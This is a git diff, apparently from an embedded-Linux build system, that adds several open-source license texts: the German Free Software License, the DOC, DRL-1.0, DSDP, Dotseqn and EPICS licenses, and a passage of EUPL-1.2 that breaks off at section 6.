+Software ist mehr als ein Wirtschaftsgut. Sie ist die technische Grundlage der Informationsgesellschaft. Die Frage der Teilhabe der Allgemeinheit ist deswegen von besonderer Bedeutung. Herkömmlich lizenzierte Programme werden nur im Object Code vertrieben, der Nutzer darf das Programm weder verändern noch weitergeben. Das Lizenzmodell der Freien Software (synonym "Open Source Software") gewährt Ihnen dagegen umfassende Freiheiten im Umgang mit dem Programm. Die Deutsche Freie Software Lizenz folgt diesem Lizenzmodell. Sie gewährt Ihnen das Recht, das Programm in umfassender Weise zu nutzen. Es ist Ihnen gestattet, das Programm nach Ihren Vorstellungen zu verändern, in veränderter oder unveränderter Form zu vervielfältigen, zu verbreiten und öffentlich zugänglich zu machen. Diese Rechte werden unentgeltlich eingeräumt.
+
+Die Deutsche Freie Software Lizenz verbindet die Rechtseinräumung allerdings mit Pflichten, die dem Zweck dienen, das freie Zirkulieren des Programms und aller veröffentlichten Fortentwicklungen zu sichern. Wenn Sie das Programm verbreiten oder öffentlich zugänglich machen, dann müssen Sie jedem, der das Programm von Ihnen erhält, eine Kopie dieser Lizenz mitliefern und den Zugriff auf den Source Code ermöglichen. Eine weitere Pflicht betrifft Fortentwicklungen des Programms. Änderungen am Programm, die Sie öffentlich verbreiten oder zugänglich machen, müssen nach den Bestimmungen dieser Lizenz frei gegeben werden.
+
+Die Deutsche Freie Software Lizenz nimmt auf die besonderen Anforderungen des deutschen und europäischen Rechts Rücksicht. Sie ist zweisprachig gestaltet und damit auch auf den internationalen Vertrieb ausgerichtet.
+
+§ 0 Definitionen
+
+Dokumentation: Die Beschreibung des Aufbaus und/oder der Struktur der Programmierung und/oder der Funktionalitäten des Programms, unabhängig davon, ob sie im Source Code oder gesondert vorgenommen wird.
+
+Lizenz: Die zwischen dem Lizenzgeber und Ihnen geschlossene Vereinbarung mit dem Inhalt der "Deutschen Freien Software Lizenz" bzw. das Angebot hierzu.
+
+Lizenznehmer: Jede natürliche oder juristische Person, die die Lizenz angenommen hat.
+
+Programm: Jedes Computerprogramm, das von den Rechtsinhabern nach den Bestimmungen dieser Lizenz verbreitet oder öffentlich zugänglich gemacht worden ist.
+
+Object Code: Die maschinenlesbare, übersetzte Form des Programms.
+
+Öffentlich: Nicht nur an einen bestimmten Personenkreis gerichtet, der persönlich oder durch die Zugehörigkeit zu einer juristischen Person oder einem öffentlichen Träger miteinander verbunden ist.
+
+Öffentlich zugänglich machen: Die öffentliche Weitergabe des Programms in unkörperlicher Form, insbesondere das Bereithalten zum Download in Datennetzen.
+
+Rechtsinhaber: Der bzw. die Urheber oder sonstigen Inhaber der ausschließlichen Nutzungsrechte an dem Programm.
+
+Source Code: Die für Menschen lesbare, in Programmiersprache dargestellte Form des Programms.
+
+Verändern: Jede Erweiterung, Kürzung und Bearbeitung des Programms, insbesondere Weiterentwicklungen.
+
+Verbreiten: Die öffentliche Weitergabe körperlicher Vervielfältigungsstücke, insbesondere auf Datenträgern oder in Verbindung mit Hardware.
+
+Vollständiger Source Code: Der Source Code in der für die Erstellung bzw. die Bearbeitung benutzten Form zusammen mit den zur Übersetzung und Installation erforderlichen Konfigurationsdateien und Software-Werkzeugen, sofern diese in der benötigten Form nicht allgemein gebräuchlich (z.B. Standard-Kompiler) oder für jedermann lizenzgebührenfrei im Internet abrufbar sind.
+
+§ 1 Rechte
+
+(1) Sie dürfen das Programm in unveränderter Form vervielfältigen, verbreiten und öffentlich zugänglich machen.
+
+(2) Sie dürfen das Programm verändern und entsprechend veränderte Versionen vervielfältigen, verbreiten und öffentlich zugänglich machen. Gestattet ist auch die Kombination des Programms oder Teilen hiervon mit anderen Programmen.
+
+(3) Sie erhalten die Rechte unentgeltlich.
+
+§ 2 Pflichten beim Vertrieb
+
+(1) Wenn Sie das Programm verbreiten oder öffentlich zugänglich machen, sei es in unveränderter oder veränderter Form, sei es in einer Kombination mit anderen Programmen oder in Verbindung mit Hardware, dann müssen sie mitliefern:
+1. alle Vermerke im Source Code und/oder Object Code, die auf diese Lizenz hinweisen;
+2. alle Vermerke im Source Code und/oder Object Code, die über die Urheber des Programms Auskunft geben;
+3. einen für den Empfänger deutlich wahrnehmbaren Hinweis auf diese Lizenz und die Internetadresse http://www.d-fsl.de;
+4. den vollständigen Text dieser Lizenz in deutlich wahrnehmbarer Weise.
+
+(2) Wenn bei der Installation des Programms und/oder beim Programmstart Lizenz- und/oder Vertragsbedingungen angezeigt werden, dann müssen
+1. diese Lizenz,
+2. ein Hinweis auf diese Lizenz und
+3. ein Hinweis auf den oder die Rechtsinhaber an den ersten unter dieser Lizenz nutzbaren Programmbestandteilen
+ebenfalls angezeigt werden.
+
+(3) Sie dürfen die Nutzung des Programms nicht von Pflichten oder Bedingungen abhängig machen, die nicht in dieser Lizenz vorgesehen sind.
+
+(4) Sofern Sie mit dem Programm eine Dokumentation erhalten haben, muss diese Dokumentation entsprechend mitgeliefert werden, es sei denn, die freie Mitlieferung der Dokumentation ist Ihnen aufgrund der Lizenz für die Dokumentation nicht gestattet.
+
+§ 3 Weitere Pflichten beim Vertrieb veränderter Versionen
+
+(1) Veränderte Versionen des Programms dürfen Sie nur unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zugänglich machen, so dass Dritte das veränderte Programm insgesamt unter dieser Lizenz nutzen können.
+
+(2) Wird das Programm oder ein Teil hiervon mit einem anderen Programm kombiniert, gilt auch die Kombination insgesamt als eine veränderte Version des Programms, es sei denn, das andere Programm ist formal und inhaltlich eigenständig. Ein anderes Programm ist dann als eigenständig anzusehen, wenn es die folgenden Voraussetzungen alle erfüllt:
+1. Der Source Code der kombinierten Programme muss jeweils in eigenen Dateien vorhanden sein, die keine Bestandteile des anderen Teils enthalten, die über die zur Programmkombination üblichen und erforderlichen Informationen über den anderen Teil hinausgehen, wobei der Source Code des anderen Programms nicht mitgeliefert werden muss.
+2. Der mit dem Programm kombinierte Teil muss auch dann sinnvoll nutzbar sein, wenn er nicht mit dem Programm kombiniert wird, und zwar entweder alleine oder mit sonstigen Programmen. Was als "sinnvoll nutzbar" anzusehen ist, richtet sich nach der Auffassung der betroffenen Fachkreise. Zu den betroffenen Fachkreisen gehören alle Personen, die das Programm oder Programme mit vergleichbarer Funktionalität entwickeln, benutzen, verbreiten oder öffentlich zugänglich machen.
+
+(3) Wenn Sie das Programm oder einen Teil hiervon - verändert oder unverändert - zusammen mit einem anderen Programm verbreiten oder öffentlich zugänglich machen, das unter der GNU General Public License (GPL) lizenziert wird, darf das Programm auch unter den Bedingungen der GPL genutzt werden, sofern es mit dem anderen Programm ein "derivative work" im Sinne der GPL bildet. Dabei sollen die Hinweise auf diese Lizenz entfernt und durch einen Hinweis auf die GPL ersetzt werden. Ob bei der Zusammenstellung ein "derivate work" im Sinne der GPL entsteht, beurteilt sich nach Ziffer 2 b) der GPL. Diese Bestimmung lautet: "You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License." Die GPL kann abgerufen werden unter http://www.fsf.org/licenses/gpl.
+
+(4) Wenn Sie das Programm in einer veränderten Form verbreiten oder öffentlich zugänglich machen, müssen Sie im Source Code einen Hinweis mit den Änderungen aufnehmen und mit dem Datum der Änderung versehen. Der Hinweis muss erkennen lassen, welche Änderungen vorgenommen wurden und bestehende Vermerke, die über die Urheber des Programms Auskunft geben, übernehmen. Dies gilt unabhängig davon, ob Sie einen eigenen Urhebervermerk hinzufügen. Anstelle eines Hinweises im Source Code können Sie auch ein Versionskontrollsystem verwenden oder weiterführen, sofern dieses mitverbreitet wird oder öffentlich zugänglich ist.
+
+(5) Sie dürfen von Dritten für die Einräumung eines einfachen Nutzungsrechts an veränderten Versionen des Programms kein Entgelt verlangen.
+
+(6) Wenn Sie an der veränderten Version des Programms ein anderes Schutzrecht als ein Urheberrecht erwerben, insbesondere ein Patent oder Gebrauchsmuster, lizenzieren Sie dieses Schutzrecht für veränderte und unveränderte Versionen des Programms in dem Umfang, der erforderlich ist, um die Rechte aus dieser Lizenz wahrnehmen zu können.
+
+§ 4 Weitere Pflichten beim Vertrieb im Object Code
+
+(1) Wenn Sie das Programm nur im Object Code verbreiten, dann müssen Sie zusätzlich zu den in § 2 und § 3 geregelten Pflichten entweder
+1. den vollständigen Source Code im Internet öffentlich zugänglich machen und bei der Verbreitung des Object Codes deutlich auf die vollständige Internetadresse hinweisen, unter der der Source Code abgerufen werden kann oder
+2. den vollständigen Source Code auf einem hierfür üblichen Datenträger unter Beachtung der §§ 2 und 3 mitverbreiten.
+
+(2) Wenn Sie das Programm im Object Code öffentlich zugänglich machen, dann müssen Sie zusätzlich zu den in § 2 und § 3 geregelten Pflichten den vollständigen Source Code im Internet öffentlich zugänglich machen und dabei deutlich auf die vollständige Internetadresse hinweisen.
+
+(3) Sofern Sie mit dem Programm eine Dokumentation erhalten haben, muss diese Dokumentation entsprechend der Absätze 1 und 2 mitgeliefert werden, es sei denn, die freie Mitlieferung der Dokumentation ist Ihnen aufgrund der Lizenz für die Dokumentation nicht gestattet.
+
+§ 5 Vertragsschluss
+
+(1) Mit dieser Lizenz wird Ihnen und jeder anderen Person ein Angebot auf Abschluss eines Vertrages über die Nutzung des Programms unter den Bedingungen der Deutschen Freien Softwarelizenz unterbreitet.
+
+(2) Sie dürfen das Programm nach den jeweils anwendbaren gesetzlichen Vorschriften bestimmungsgemäß benutzen, ohne dass es der Annahme dieser Lizenz bedarf. Dieses Recht umfasst in der Europäischen Union und in den meisten anderen Rechtsordnungen insbesondere die folgenden Befugnisse:
+1. das Programm ablaufen zu lassen sowie die Erstellung von hierfür erforderlichen Vervielfältigungen im Haupt- und Arbeitsspeicher;
+2. das Erstellen einer Sicherungskopie;
+3. die Fehlerberichtigung;
+4. die Weitergabe einer rechtmäßig erworbenen körperlichen Kopie des Programms.
+
+(3) Sie erklären Ihre Zustimmung zum Abschluss dieser Lizenz, indem Sie das Programm verbreiten, öffentlich zugänglich machen, verändern oder in einer Weise vervielfältigen, die über die bestimmungsgemäße Nutzung im Sinne von Absatz 2 hinausgeht. Ab diesem Zeitpunkt ist diese Lizenz als rechtlich verbindlicher Vertrag zwischen den Rechtsinhabern und Ihnen geschlossen, ohne dass es eines Zugangs der Annahmeerklärung bei den Rechtsinhabern bedarf.
+
+(4) Sie und jeder andere Lizenznehmer erhalten die Rechte aus dieser Lizenz direkt von den Rechtsinhabern. Eine Unterlizenzierung oder Übertragung der Rechte ist nicht gestattet.
+
+§ 6 Beendigung der Rechte bei Zuwiderhandlung
+
+(1) Jede Verletzung Ihrer Verpflichtungen aus dieser Lizenz führt zu einer automatischen Beendigung Ihrer Rechte aus dieser Lizenz.
+
+(2) Die Rechte Dritter, die das Programm oder Rechte an dem Programm von Ihnen erhalten haben, bleiben hiervon unberührt.
+
+§ 7 Haftung und Gewährleistung
+
+(1) Für entgegenstehende Rechte Dritter haften die Rechtsinhaber nur, sofern sie Kenntnis von diesen Rechten hatten, ohne Sie zu informieren.
+
+(2) Die Haftung für Fehler und sonstige Mängel des Programms richtet sich nach den außerhalb dieser Lizenz getroffenen Vereinbarungen zwischen Ihnen und den Rechtsinhabern oder, wenn eine solche Vereinbarung nicht existiert, nach den gesetzlichen Regelungen.
+
+§ 8 Verträge mit Dritten
+
+(1) Diese Lizenz regelt nur die Beziehung zwischen Ihnen und den Rechtsinhabern. Sie ist nicht Bestandteil der Verträge zwischen Ihnen und Dritten.
+
+(2) Die Lizenz beschränkt Sie nicht in der Freiheit, mit Dritten, die von Ihnen Kopien des Programms erhalten oder Leistungen in Anspruch nehmen, die im Zusammenhang mit dem Programm stehen, Verträge beliebigen Inhalts zu schließen, sofern Sie dabei Ihren Verpflichtungen aus dieser Lizenz nachkommen und die Rechte der Dritten aus dieser Lizenz nicht beeinträchtigt werden. Insbesondere dürfen Sie für die Überlassung des Programms oder sonstige Leistungen ein Entgelt verlangen.
+
+(3) Diese Lizenz verpflichtet Sie nicht, das Programm an Dritte weiterzugeben. Es steht Ihnen frei zu entscheiden, wem Sie das Programm zugänglich machen. Sie dürfen aber die weitere Nutzung durch Dritte nicht durch den Einsatz technischer Schutzmaßnahmen, insbesondere durch den Einsatz von Kopierschutzvorrichtungen jeglicher Art, verhindern oder erschweren. Eine passwortgeschützte Zugangsbeschränkung oder die Nutzung in einem Intranet wird nicht als technische Schutzmaßnahme angesehen.
+
+§ 9 Text der Lizenz
+
+(1) Diese Lizenz ist in deutscher und englischer Sprache abgefasst. Beide Fassungen sind gleich verbindlich. Es wird unterstellt, dass die in der Lizenz verwandten Begriffe in beiden Fassungen dieselbe Bedeutung haben. Ergeben sich dennoch Unterschiede, so ist die Bedeutung maßgeblich, welche die Fassungen unter Berücksichtigung des Ziels und Zwecks der Lizenz am besten miteinander in Einklang bringt.
+
+(2) Der Lizenzrat der Deutschen Freien Software Lizenz kann mit verbindlicher Wirkung neue Versionen der Lizenz in Kraft setzen, soweit dies erforderlich und zumutbar ist. Neue Versionen der Lizenz werden auf der Internetseite http://www.d-fsl.de mit einer eindeutigen Versionsnummer veröffentlicht. Die neue Version der Lizenz erlangt für Sie verbindliche Wirkung, wenn Sie von deren Veröffentlichung Kenntnis genommen haben. Gesetzliche Rechtsbehelfe gegen die Änderung der Lizenz werden durch die vorstehenden Bestimmungen nicht beschränkt.
+
+(3) Sie dürfen diese Lizenz in unveränderter Form vervielfältigen, verbreiten und öffentlich zugänglich machen.
+
+§ 10 Anwendbares Recht
+
+Auf diese Lizenz findet deutsches Recht Anwendung.
+
+
+Anhang: Wie unterstellen Sie ein Programm der Deutschen Freien Software Lizenz?
+Um jedermann den Abschluss dieser Lizenz zu ermöglichen, wird empfohlen, das Programm mit folgendem Hinweis auf die Lizenz zu versehen:
+
+"Copyright (C) 20[jj] [Name des Rechtsinhabers].
+
+Dieses Programm kann durch jedermann gemäß den Bestimmungen der Deutschen Freien Software Lizenz genutzt werden.
+
+Die Lizenz kann unter http://www.d-fsl.de abgerufen werden."
diff --git a/meta/files/common-licenses/DOC b/meta/files/common-licenses/DOC
new file mode 100644
index 0000000000..07a684f0d0
--- /dev/null
+++ b/meta/files/common-licenses/DOC
@@ -0,0 +1,15 @@
+Copyright and Licensing Information for ACE(TM), TAO(TM), CIAO(TM), DAnCE(TM), and CoSMIC(TM)
+
+ACE(TM), TAO(TM), CIAO(TM), DAnCE>(TM), and CoSMIC(TM) (henceforth referred to as "DOC software") are copyrighted by Douglas C. Schmidt and his research group at Washington University, University of California, Irvine, and Vanderbilt University, Copyright (c) 1993-2009, all rights reserved. Since DOC software is open-source, freely available software, you are free to use, modify, copy, and distribute--perpetually and irrevocably--the DOC software source code and object code produced from the source, as well as copy and distribute modified versions of this software. You must, however, include this copyright statement along with any code built using DOC software that you release. No copyright statement needs to be provided if you just ship binary executables of your software products.
+
+You can use DOC software in commercial and/or binary software releases and are under no obligation to redistribute any of your source code that is built using DOC software. Note, however, that you may not misappropriate the DOC software code, such as copyrighting it yourself or claiming authorship of the DOC software code, in a way that will prevent DOC software from being distributed freely using an open-source development model. You needn't inform anyone that you're using DOC software in your software, though we encourage you to let us know so we can promote your project in the DOC software success stories.
+
+The ACE, TAO, CIAO, DAnCE, and CoSMIC web sites are maintained by the DOC Group at the Institute for Software Integrated Systems (ISIS) and the Center for Distributed Object Computing of Washington University, St. Louis for the development of open-source software as part of the open-source software community. Submissions are provided by the submitter ``as is'' with no warranties whatsoever, including any warranty of merchantability, noninfringement of third party intellectual property, or fitness for any particular purpose. In no event shall the submitter be liable for any direct, indirect, special, exemplary, punitive, or consequential damages, including without limitation, lost profits, even if advised of the possibility of such damages. Likewise, DOC software is provided as is with no warranties of any kind, including the warranties of design, merchantability, and fitness for a particular purpose, noninfringement, or arising from a course of dealing, usage or trade practice. Washington University, UC Irvine, Vanderbilt University, their employees, and students shall have no liability with respect to the infringement of copyrights, trade secrets or any patents by DOC software or any part thereof. Moreover, in no event will Washington University, UC Irvine, or Vanderbilt University, their employees, or students be liable for any lost revenue or profits or other special, indirect and consequential damages.
+
+DOC software is provided with no support and without any obligation on the part of Washington University, UC Irvine, Vanderbilt University, their employees, or students to assist in its use, correction, modification, or enhancement. A number of companies around the world provide commercial support for DOC software, however. DOC software is Y2K-compliant, as long as the underlying OS platform is Y2K-compliant. Likewise, DOC software is compliant with the new US daylight savings rule passed by Congress as "The Energy Policy Act of 2005," which established new daylight savings times (DST) rules for the United States that expand DST as of March 2007. Since DOC software obtains time/date and calendaring information from operating systems users will not be affected by the new DST rules as long as they upgrade their operating systems accordingly.
+
+The names ACE(TM), TAO(TM), CIAO(TM), DAnCE(TM), CoSMIC(TM), Washington University, UC Irvine, and Vanderbilt University, may not be used to endorse or promote products or services derived from this source without express written permission from Washington University, UC Irvine, or Vanderbilt University. This license grants no permission to call products or services derived from this source ACE(TM), TAO(TM), CIAO(TM), DAnCE(TM), or CoSMIC(TM), nor does it grant permission for the name Washington University, UC Irvine, or Vanderbilt University to appear in their names.
+
+If you have any suggestions, additions, comments, or questions, please let me know.
+
+Douglas C. Schmidt
diff --git a/meta/files/common-licenses/DRL-1.0 b/meta/files/common-licenses/DRL-1.0
new file mode 100644
index 0000000000..8bcb7148c9
--- /dev/null
+++ b/meta/files/common-licenses/DRL-1.0
@@ -0,0 +1,12 @@
+Detection Rule License (DRL) 1.0
+Permission is hereby granted, free of charge, to any person obtaining a copy of this rule set and associated documentation files (the "Rules"), to deal in the Rules without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Rules, and to permit persons to whom the Rules are furnished to do so, subject to the following conditions:
+
+If you share the Rules (including in modified form), you must retain the following if it is supplied within the Rules:
+
+identification of the authors(s) ("author" field) of the Rule and any others designated to receive attribution, in any reasonable manner requested by the Rule author (including by pseudonym if designated).
+
+a URI or hyperlink to the Rule set or explicit Rule to the extent reasonably practicable
+
+indicate the Rules are licensed under this Detection Rule License, and include the text of, or the URI or hyperlink to, this Detection Rule License to the extent reasonably practicable
+
+THE RULES ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE RULES.
diff --git a/meta/files/common-licenses/DSDP b/meta/files/common-licenses/DSDP
new file mode 100644
index 0000000000..1c4d42f4b2
--- /dev/null
+++ b/meta/files/common-licenses/DSDP
@@ -0,0 +1,18 @@
+COPYRIGHT NOTIFICATION
+
+(C) COPYRIGHT 2004 UNIVERSITY OF CHICAGO
+
+This program discloses material protectable under copyright laws of the United States. Permission to copy and modify this software and its documentation is hereby granted, provided that this notice is retained thereon and on all copies or modifications. The University of Chicago makes no representations as to the suitability and operability of this software for any purpose. It is provided "as is"; without express or implied warranty. Permission is hereby granted to use, reproduce, prepare derivative works, and to redistribute to others, so long as this original copyright notice is retained. Any publication resulting from research that made use of this software should cite this document.
+
+ This software was authored by:
+
+ Steven J. Benson Mathematics and Computer Science Division Argonne National Laboratory Argonne IL 60439
+
+ Yinyu Ye Department of Management Science and Engineering Stanford University Stanford, CA U.S.A
+
+ Any questions or comments on the software may be directed to benson@mcs.anl.gov or yinyu-ye@stanford.edu
+
+Argonne National Laboratory with facilities in the states of Illinois and Idaho, is owned by The United States Government, and operated by the University of Chicago under provision of a contract with the Department of Energy.
+
+DISCLAIMER
+THIS PROGRAM WAS PREPARED AS AN ACCOUNT OF WORK SPONSORED BY AN AGENCY OF THE UNITED STATES GOVERNMENT. NEITHER THE UNITED STATES GOVERNMENT NOR ANY AGENCY THEREOF, NOR THE UNIVERSITY OF CHICAGO, NOR ANY OF THEIR EMPLOYEES OR OFFICERS, MAKES ANY WARRANTY, EXPRESS OR IMPLIED, OR ASSUMES ANY LEGAL LIABILITY OR RESPONSIBILITY FOR THE ACCURACY, COMPLETENESS, OR USEFULNESS OF ANY INFORMATION, APPARATUS, PRODUCT, OR PROCESS DISCLOSED, OR REPRESENTS THAT ITS USE WOULD NOT INFRINGE PRIVATELY OWNED RIGHTS. REFERENCE HEREIN TO ANY SPECIFIC COMMERCIAL PRODUCT, PROCESS, OR SERVICE BY TRADE NAME, TRADEMARK, MANUFACTURER, OR OTHERWISE, DOES NOT NECESSARILY CONSTITUTE OR IMPLY ITS ENDORSEMENT, RECOMMENDATION, OR FAVORING BY THE UNITED STATES GOVERNMENT OR ANY AGENCY THEREOF. THE VIEW AND OPINIONS OF AUTHORS EXPRESSED HEREIN DO NOT NECESSARILY STATE OR REFLECT THOSE OF THE UNITED STATES GOVERNMENT OR ANY AGENCY THEREOF.
diff --git a/meta/files/common-licenses/Dotseqn b/meta/files/common-licenses/Dotseqn
new file mode 100644
index 0000000000..9833407c06
--- /dev/null
+++ b/meta/files/common-licenses/Dotseqn
@@ -0,0 +1,5 @@
+Copyright (C) 1995 by Donald Arseneau
+
+This file may be freely transmitted and reproduced, but it may not be changed unless the name is changed also (except that you may freely change the paper-size option for \documentclass).
+
+This notice must be left intact.
diff --git a/meta/files/common-licenses/EPICS b/meta/files/common-licenses/EPICS
new file mode 100644
index 0000000000..f2f6b0e7af
--- /dev/null
+++ b/meta/files/common-licenses/EPICS
@@ -0,0 +1,32 @@
+EPICS Open License Terms
+
+The following is the text of the EPICS Open software license agreement which now applies to EPICS Base and many of the unbundled EPICS extensions and support modules.
+
+Copyright © <YEAR> <HOLDERS>. All rights reserved.
+
+<PRODUCT> is distributed subject to the following license conditions:
+
+SOFTWARE LICENSE AGREEMENT
+
+Software: <PRODUCT>
+
+1. The "Software", below, refers to <PRODUCT> (in either source code, or binary form and accompanying documentation). Each licensee is addressed as "you" or "Licensee."
+
+2. The copyright holders shown above and their third-party licensors hereby grant Licensee a royalty-free nonexclusive license, subject to the limitations stated herein and U.S. Government license rights.
+
+3. You may modify and make a copy or copies of the Software for use within your organization, if you meet the following conditions:
+
+a. Copies in source code must include the copyright notice and this Software License Agreement.
+b. Copies in binary form must include the copyright notice and this Software License Agreement in the documentation and/or other materials provided with the copy.
+
+4. You may modify a copy or copies of the Software or any portion of it, thus forming a work based on the Software, and distribute copies of such work outside your organization, if you meet all of the following conditions:
+
+a. Copies in source code must include the copyright notice and this Software License Agreement;
+b. Copies in binary form must include the copyright notice and this Software License Agreement in the documentation and/or other materials provided with the copy;
+c. Modified copies and works based on the Software must carry prominent notices stating that you changed specified portions of the Software.
+
+5. Portions of the Software resulted from work developed under a U.S. Government contract and are subject to the following license: the Government is granted for itself and others acting on its behalf a paid-up, nonexclusive, irrevocable worldwide license in this computer software to reproduce, prepare derivative works, and perform publicly and display publicly.
+
+6. WARRANTY DISCLAIMER. THE SOFTWARE IS SUPPLIED "AS IS" WITHOUT WARRANTY OF ANY KIND. THE COPYRIGHT HOLDERS, THEIR THIRD PARTY LICENSORS, THE UNITED STATES, THE UNITED STATES DEPARTMENT OF ENERGY, AND THEIR EMPLOYEES: (1) DISCLAIM ANY WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE OR NON-INFRINGEMENT, (2) DO NOT ASSUME ANY LEGAL LIABILITY OR RESPONSIBILITY FOR THE ACCURACY, COMPLETENESS, OR USEFULNESS OF THE SOFTWARE, (3) DO NOT REPTHAT USE OF THE SOFTWARE WOULD NOT INFRINGE PRIVATELY OWNED RIGHTS, (4) DO NOT WARRANT THAT THE SOFTWARE WILL FUNCTION UNINTERRUPTED, THAT IT IS ERROR-FREE OR THAT ANY ERRORS WILL BE CORRECTED.
+
+7. LIMITATION OF LIABILITY. IN NO EVENT WILL THE COPYRIGHT HOLDERS, THEIR THIRD PARTY LICENSORS, THE UNITED STATES, THE UNITED STATES DEPARTMENT OF ENERGY, OR THEIR EMPLOYEES: BE LIABLE FOR ANY INDIRECT, INCIDENTAL, CONSEQUENTIAL, SPECIAL OR PUNITIVE DAMAGES OF ANY KIND OR NATURE, INCLUDING BUT NOT LIMITED TO LOSS OF PROFITS OR LOSS OF DATA, FOR ANY REASON WHATSOEVER, WHETHER SUCH LIABILITY IS ASSERTED ON THE BASIS OF CONTRACT, TORT (INCLUDING NEGLIGENCE OR STRICT LIABILITY), OR OTHERWISE, EVEN IF ANY OF SAID PARTIES HAS BEEN WARNED OF THE POSSIBILITY OF SUCH LOSS OR DAMAGES.
diff --git a/meta/files/common-licenses/EUPL-1.2 b/meta/files/common-licenses/EUPL-1.2
new file mode 100644
index 0000000000..6d8cea430e
--- /dev/null
+++ b/meta/files/common-licenses/EUPL-1.2
@@ -0,0 +1,190 @@
+EUROPEAN UNION PUBLIC LICENCE v. 1.2
+EUPL © the European Union 2007, 2016
+
+This European Union Public Licence (the ‘EUPL’) applies to the Work (as defined below) which is provided under the
+terms of this Licence. Any use of the Work, other than as authorised under this Licence is prohibited (to the extent such
+use is covered by a right of the copyright holder of the Work).
+The Work is provided under the terms of this Licence when the Licensor (as defined below) has placed the following
+notice immediately following the copyright notice for the Work:
+ Licensed under the EUPL
+or has expressed by any other means his willingness to license under the EUPL.
+
+1.Definitions
+In this Licence, the following terms have the following meaning:
+— ‘The Licence’:this Licence.
+— ‘The Original Work’:the work or software distributed or communicated by the Licensor under this Licence, available
+as Source Code and also as Executable Code as the case may be.
+— ‘Derivative Works’:the works or software that could be created by the Licensee, based upon the Original Work or
+modifications thereof. This Licence does not define the extent of modification or dependence on the Original Work
+required in order to classify a work as a Derivative Work; this extent is determined by copyright law applicable in
+the country mentioned in Article 15.
+— ‘The Work’:the Original Work or its Derivative Works.
+— ‘The Source Code’:the human-readable form of the Work which is the most convenient for people to study and
+modify.
+— ‘The Executable Code’:any code which has generally been compiled and which is meant to be interpreted by
+a computer as a program.
+— ‘The Licensor’:the natural or legal person that distributes or communicates the Work under the Licence.
+— ‘Contributor(s)’:any natural or legal person who modifies the Work under the Licence, or otherwise contributes to
+the creation of a Derivative Work.
+— ‘The Licensee’ or ‘You’:any natural or legal person who makes any usage of the Work under the terms of the
+Licence.
+— ‘Distribution’ or ‘Communication’:any act of selling, giving, lending, renting, distributing, communicating,
+transmitting, or otherwise making available, online or offline, copies of the Work or providing access to its essential
+functionalities at the disposal of any other natural or legal person.
+
+2.Scope of the rights granted by the Licence
+The Licensor hereby grants You a worldwide, royalty-free, non-exclusive, sublicensable licence to do the following, for
+the duration of copyright vested in the Original Work:
+— use the Work in any circumstance and for all usage,
+— reproduce the Work,
+— modify the Work, and make Derivative Works based upon the Work,
+— communicate to the public, including the right to make available or display the Work or copies thereof to the public
+and perform publicly, as the case may be, the Work,
+— distribute the Work or copies thereof,
+— lend and rent the Work or copies thereof,
+— sublicense rights in the Work or copies thereof.
+Those rights can be exercised on any media, supports and formats, whether now known or later invented, as far as the
+applicable law permits so.
+In the countries where moral rights apply, the Licensor waives his right to exercise his moral right to the extent allowed
+by law in order to make effective the licence of the economic rights here above listed.
+The Licensor grants to the Licensee royalty-free, non-exclusive usage rights to any patents held by the Licensor, to the
+extent necessary to make use of the rights granted on the Work under this Licence.
+
+3.Communication of the Source Code
+The Licensor may provide the Work either in its Source Code form, or as Executable Code. If the Work is provided as
+Executable Code, the Licensor provides in addition a machine-readable copy of the Source Code of the Work along with
+each copy of the Work that the Licensor distributes or indicates, in a notice following the copyright notice attached to
+the Work, a repository where the Source Code is easily and freely accessible for as long as the Licensor continues to
+distribute or communicate the Work.
+
+4.Limitations on copyright
+Nothing in this Licence is intended to deprive the Licensee of the benefits from any exception or limitation to the
+exclusive rights of the rights owners in the Work, of the exhaustion of those rights or of other applicable limitations
+thereto.
+
+5.Obligations of the Licensee
+The grant of the rights mentioned above is subject to some restrictions and obligations imposed on the Licensee. Those
+obligations are the following:
+
+Attribution right: The Licensee shall keep intact all copyright, patent or trademarks notices and all notices that refer to
+the Licence and to the disclaimer of warranties. The Licensee must include a copy of such notices and a copy of the
+Licence with every copy of the Work he/she distributes or communicates. The Licensee must cause any Derivative Work
+to carry prominent notices stating that the Work has been modified and the date of modification.
+
+Copyleft clause: If the Licensee distributes or communicates copies of the Original Works or Derivative Works, this
+Distribution or Communication will be done under the terms of this Licence or of a later version of this Licence unless
+the Original Work is expressly distributed only under this version of the Licence — for example by communicating
+‘EUPL v. 1.2 only’. The Licensee (becoming Licensor) cannot offer or impose any additional terms or conditions on the
+Work or Derivative Work that alter or restrict the terms of the Licence.
+
+Compatibility clause: If the Licensee Distributes or Communicates Derivative Works or copies thereof based upon both
+the Work and another work licensed under a Compatible Licence, this Distribution or Communication can be done
+under the terms of this Compatible Licence. For the sake of this clause, ‘Compatible Licence’ refers to the licences listed
+in the appendix attached to this Licence. Should the Licensee's obligations under the Compatible Licence conflict with
+his/her obligations under this Licence, the obligations of the Compatible Licence shall prevail.
+
+Provision of Source Code: When distributing or communicating copies of the Work, the Licensee will provide
+a machine-readable copy of the Source Code or indicate a repository where this Source will be easily and freely available
+for as long as the Licensee continues to distribute or communicate the Work.
+Legal Protection: This Licence does not grant permission to use the trade names, trademarks, service marks, or names
+of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and
+reproducing the content of the copyright notice.
+
+6.Chain of Authorship
+The original Licensor warrants that the copyright in the Original Work granted hereunder is owned by him/her or
+licensed to him/her and that he/she has the power and authority to grant the Licence.
+Each Contributor warrants that the copyright in the modifications he/she brings to the Work are owned by him/her or
+licensed to him/her and that he/she has the power and authority to grant the Licence.
